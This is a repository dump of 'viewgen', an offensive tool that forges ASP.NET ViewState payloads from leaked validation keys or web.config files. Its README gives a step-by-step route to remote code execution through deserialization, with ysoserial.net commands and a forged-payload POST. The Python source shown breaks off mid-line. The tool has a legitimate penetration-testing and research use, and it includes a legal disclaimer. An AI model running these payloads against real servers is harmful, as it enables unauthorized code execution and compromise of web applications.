├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── install.sh ├── requirements.txt └── viewgen /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.13-alpine as base 2 | 3 | FROM base as build 4 | 5 | WORKDIR /build 6 | 7 | RUN apk add gcc musl-dev 8 | COPY requirements.txt /requirements.txt 9 | RUN pip install --prefix /build -r /requirements.txt 10 | 11 | FROM base 12 | 13 | COPY --from=build /build /usr/local 14 | 15 | WORKDIR /tool 16 | 17 | COPY viewgen /tool 18 | RUN chmod +x viewgen 19 | 20 | ENTRYPOINT ["/tool/viewgen"] 21 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 André Baptista 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Viewgen 2 | 3 | ### ASP.NET ViewState Generator 4 | 5 | **viewgen** is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or `web.config` files 6 | 7 | --------------- 8 | 9 | ### Installation 10 | 11 | **Requirements**: Python 3 12 | 13 | `pip3 install --user --upgrade -r requirements.txt` or `./install.sh` 14 | 15 | **Docker** 16 | 17 | `docker build -t viewgen .` or `docker pull 0xacb/viewgen` 18 | 19 | --------------- 20 | 21 | ### Usage 22 | ``` 23 | $ viewgen -h 24 | usage: viewgen [-h] [--webconfig WEBCONFIG] [-m MODIFIER] 25 | [--viewstateuserkey VIEWSTATEUSERKEY] [-c COMMAND] [--decode] 26 | [--guess] [--check] [--vkey VKEY] [--valg VALG] [--dkey DKEY] 27 | [--dalg DALG] [-u] [-e] [-f FILE] [--version] 28 | [payload] 29 | 30 | viewgen is a ViewState tool capable of generating both signed and encrypted 31 | payloads with leaked validation keys or web.config files 32 | 33 | positional arguments: 34 | payload ViewState payload (base 64 encoded) 35 | 36 | options: 37 | -h, --help show this help message and exit 38 | --webconfig WEBCONFIG 39 | automatically load keys and algorithms from a 40 | web.config file 41 | -m MODIFIER, --modifier MODIFIER 42 | VIEWSTATEGENERATOR value 43 | --viewstateuserkey VIEWSTATEUSERKEY 44 | ViewStateUserKey CSRF value 45 | -c COMMAND, --command COMMAND 46 | command to execute 47 | --decode decode a ViewState payload 48 | --guess guess signature and encryption mode for a given 49 | payload 50 | --check check if modifier and keys are correct for a given 51 | payload 52 | --vkey VKEY validation key 53 | --valg VALG validation algorithm 54 | --dkey DKEY decryption key 55 | --dalg DALG decryption algorithm 56 | -u, --urlencode URL encode viewstates 57 | -e, --encrypted ViewState is encrypted 58 | -f FILE, --file FILE read ViewState payload from file 59 | --version show viewgen version 60 | ``` 61 | 62 | --------------- 63 | 64 | ### Examples 65 | 66 | ```bash 67 | $ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY=" 68 | [+] ViewState 69 | (('1628925133', (None, [3, (['enctype', 'multipart/form-data'], None)])), None) 70 | [+] Signature 71 | 7441f6eeb4fab5a5f30d6ba99908c08eb683b9e6 72 | [+] Signature match 73 | 74 | $ viewgen --webconfig web.config --modifier CA0B0334 "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRk" 75 | r4zCP5CdSo5R9XmiEXvp1LHVzX1uICmY7oW2WD/gKS/Mt/s+NKXrMpScr4Gvrji7lFdHPOttFpi2x7YbmQjEjJ2NdBMuzeKFzIuno2DenYF8yVVKx5+LL7LYmI0CVcNQ+jH8VxvzVG58NQIJ/rSr6NqNMBahrVfAyVPgdL4Eke3Bq4XWk6BYW2Bht6ykSHF9szT8tG6KUKwf+T94hFUFNIXXkURptwQJEC/5AMkFXMU0VXDa 76 | 77 | $ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI=" 78 | [+] ViewState is not encrypted 79 | [+] Signature algorithm: SHA1 80 | 81 | $ viewgen --guess "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY=" 82 | [!] ViewState is encrypted 83 | [+] Algorithm candidates: 84 | AES SHA1 85 | DES/3DES SHA1 86 | ``` 87 | 88 | --------------- 89 | 90 | ### Achieving Remote Code Execution 91 | 92 | Leaking the `web.config` file or validation keys from ASP.NET apps results in RCE via ObjectStateFormatter deserialization if ViewStates are used. 93 | 94 | You can use the built-in `command` option ([ysoserial.net](https://github.com/pwntester/ysoserial.net) based) to generate a payload: 95 | 96 | ```bash 97 | $ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld" 98 | ``` 99 | 100 | However, you can also generate it manually: 101 | 102 | **1 -** Generate a payload with [ysoserial.net](https://github.com/pwntester/ysoserial.net): 103 | 104 | ```bash 105 | > ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "ping yourdomain.tld" 106 | ``` 107 | 108 | **2 -** Grab a modifier (`__VIEWSTATEGENERATOR` value) from a given endpoint of the webapp 109 | 110 | **3 -** Generate the signed/encrypted payload: 111 | 112 | ```bash 113 | $ viewgen --webconfig web.config --modifier MODIFIER PAYLOAD 114 | ``` 115 | 116 | **4 -** Send a `POST` request with the generated ViewState to the same endpoint 117 | 118 | **5 -** Profit 🎉🎉 119 | 120 | --------------- 121 | 122 | **Thanks** 123 | 124 | - [@orange_8361](https://twitter.com/orange_8361), the author of *Why so Serials* (HITCON CTF 2018) 125 | - [@infosec_au](https://twitter.com/infosec_au) 126 | - [@smiegles](https://twitter.com/smiegles) 127 | - **BBAC** 128 | - All contributors 129 | 130 | --------------- 131 | 132 | **CTF Writeups** 133 | 134 | - https://xz.aliyun.com/t/3019 135 | - https://cyku.tw/ctf-hitcon-2018-why-so-serials/ 136 | 137 | **Blog Posts** 138 | 139 | - https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/ 140 | 141 | **Talks** 142 | 143 | - https://illuminopi.com/assets/files/BSidesIowa_RCEvil.net_20190420.pdf 144 | - https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints 145 | 146 | --------------- 147 | 148 | ### ⚠ Legal Disclaimer ⚠ 149 | 150 | This project is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage caused by this tool. 151 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | pip3 install --upgrade -r requirements.txt 4 | sudo cp viewgen /usr/local/bin/ 5 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colored 2 | viewstate 3 | pycryptodome 4 | -------------------------------------------------------------------------------- /viewgen: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | 4 | from pprint import pprint 5 | from Crypto.Cipher import AES 6 | from Crypto.Cipher import DES 7 | from Crypto.Cipher import DES3 8 | from viewstate import ViewState 9 | from xml.dom import minidom 10 | from colored import fg, attr 11 | 12 | import argparse 13 | import hashlib 14 | import hmac 15 | import base64 16 | import os 17 | import binascii 18 | import struct 19 | import sys 20 | import urllib.parse 21 | 22 | 23 | VERSION = 0.3 24 | 25 | 26 | pad = lambda s, bs: s + (bs - len(s) % bs) * chr(bs - len(s) % bs).encode("ascii") 27 | unpad = lambda s: s[:-ord(s[len(s)-1:])] 28 | 29 | 30 | def success(s): 31 | print("[%s+%s] %s%s%s%s" % (fg("light_green"), attr(0), attr(1), s, attr(21), attr(0))) 32 | 33 | 34 | def warning(s): 35 | print("[%s!%s] %s%s%s%s" % (fg("yellow"), attr(0), attr(1), s, attr(21), attr(0))) 36 | 37 | 38 | class ViewGen: 39 | MD5_MODIFIER = b"\x00"*4 40 | hash_algs = {"SHA1": hashlib.sha1, "MD5": hashlib.md5, "SHA256": hashlib.sha256, "SHA384": hashlib.sha384, "SHA512": hashlib.sha512, "AES": hashlib.sha1, "3DES": hashlib.sha1} 41 | hash_sizes = {"SHA1": 20, "MD5": 16, "SHA256": 32, "SHA384": 48, "SHA512": 64, "AES": 20, "3DES": 20} 42 | 43 | def __init__(self, validation_key=None, validation_alg=None, dec_key=None, dec_alg=None, modifier=None, encrypted=False, viewstateuserkey=None): 44 | self.validation_key = validation_key 45 | self.dec_key = dec_key 46 | self._init_validation_alg(validation_alg) 47 | self._init_dec_alg(dec_alg) 48 | self.encrypted = encrypted 49 | if modifier is None: 50 | self.modifier = ViewGen.MD5_MODIFIER 51 | else: 52 | self.modifier = struct.pack("